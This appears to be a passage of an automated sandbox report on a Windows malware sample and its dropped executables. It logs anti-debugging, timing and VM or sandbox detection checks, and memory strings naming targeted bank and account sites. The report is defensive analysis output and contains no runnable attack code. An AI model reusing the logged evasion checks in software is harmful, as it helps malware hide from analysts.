Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe TID: 7844	Thread sleep time: -2079039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe TID: 6912	Thread sleep time: -1618809s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 3332	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 1900	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 3324	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 2832	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 2832	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 1696	Thread sleep count: 38 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 1696	Thread sleep time: -76038s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 3688	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 3688	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 5072	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7564	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7564	Thread sleep time: -112056s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7620	Thread sleep count: 60 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7620	Thread sleep time: -120060s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 2468	Thread sleep time: -40000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 5956	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7632	Thread sleep count: 52 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7632	Thread sleep time: -104052s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7664	Thread sleep count: 70 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7664	Thread sleep time: -140070s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7592	Thread sleep count: 49 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7592	Thread sleep time: -98049s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7596	Thread sleep count: 61 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7596	Thread sleep time: -122061s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7616	Thread sleep count: 54 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7616	Thread sleep time: -108054s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7636	Thread sleep count: 58 > 30
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe TID: 7636	Thread sleep time: -116058s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6392	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe TID: 7072	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe TID: 7008	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe TID: 5056	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe TID: 6996	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe TID: 8128	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe TID: 6204	Thread sleep time: -180000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	File opened: C:\Users\user	Jump to behavior

Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: bfa374134d.exe, 0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareS_u
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: bfa374134d.exe, 00000007.00000003.2194410371.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 00000008.00000002.1871163393.00000000014F4000.00000004.00000020.00020000.00000000.sdmp, f48847f8be.exe, 00000008.00000002.1871163393.0000000001520000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000009.00000002.1923938643.0000000000E92000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000009.00000002.1923938643.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, 2f7f14fa8e.exe, 0000000C.00000003.1983178976.0000000000DD3000.00000004.00000020.00020000.00000000.sdmp, 2f7f14fa8e.exe, 0000000C.00000003.1982512138.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 2f7f14fa8e.exe, 0000000C.00000003.1982159573.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001A.00000002.2162261594.0000025CE5ABC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2161657541.000001F772619000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 2db16943cb.exe, 00000006.00000003.1664662064.0000000001B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll(
Source: firefox.exe, 0000001C.00000002.2164465891.000001F772708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~(c-
Source: firefox.exe, 0000001A.00000002.2157634662.0000025CDBE30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: firefox.exe, 0000001A.00000002.2177925121.0000025CE77EC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413
Source: file.exe, file.exe, 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, skotes.exe, 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmp, f48847f8be.exe, f48847f8be.exe, 00000008.00000002.1863358026.00000000003FA000.00000040.00000001.01000000.0000000B.sdmp, bfa374134d.exe, 00000009.00000002.1922962187.00000000007C6000.00000040.00000001.01000000.0000000A.sdmp, 8be8d9c4e9.exe, 0000001D.00000002.2100723896.000000000094E000.00000040.00000001.01000000.00000013.sdmp, f48847f8be.exe, 0000001F.00000002.2102114324.00000000003FA000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000021.00000002.2112867876.0000000000FD8000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: firefox.exe, 0000001A.00000002.2157634662.0000025CDBE20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: bfa374134d.exe, 00000009.00000002.1923938643.0000000000E92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.
Source: firefox.exe, 0000001A.00000002.2157634662.0000025CDBE51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6h
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: firefox.exe, 0000001A.00000002.2157634662.0000025CDBDE0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWrogram Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERN
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: firefox.exe, 0000001C.00000002.2164465891.000001F772708000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2145272918.000001F7722FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160364238.00000202DFF90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005915000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696501413p
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: firefox.exe, 0000001A.00000002.2157634662.0000025CDBEBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: firefox.exe, 0000001C.00000002.2164465891.000001F772708000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllq
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: f48847f8be.exe, 0000001F.00000002.2123568208.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG4
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: file.exe, 00000000.00000002.1429551451.0000000000858000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000003.00000002.1497547266.0000000000FD8000.00000040.00000001.01000000.00000007.sdmp, f48847f8be.exe, 00000008.00000002.1863358026.00000000003FA000.00000040.00000001.01000000.0000000B.sdmp, bfa374134d.exe, 00000009.00000002.1922962187.00000000007C6000.00000040.00000001.01000000.0000000A.sdmp, 8be8d9c4e9.exe, 0000001D.00000002.2100723896.000000000094E000.00000040.00000001.01000000.00000013.sdmp, f48847f8be.exe, 0000001F.00000002.2102114324.00000000003FA000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000021.00000002.2112867876.0000000000FD8000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: bfa374134d.exe, 0000000F.00000003.2062090436.0000000005910000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f
Source: f48847f8be.exe, 00000008.00000002.1871163393.00000000014AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware[6

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-10028
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-10014
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node	graph_3-9976

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_049C039C Start: 049C045B End: 049C042B

0_2_049C039C

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_049C0269 rdtsc

0_2_049C0269

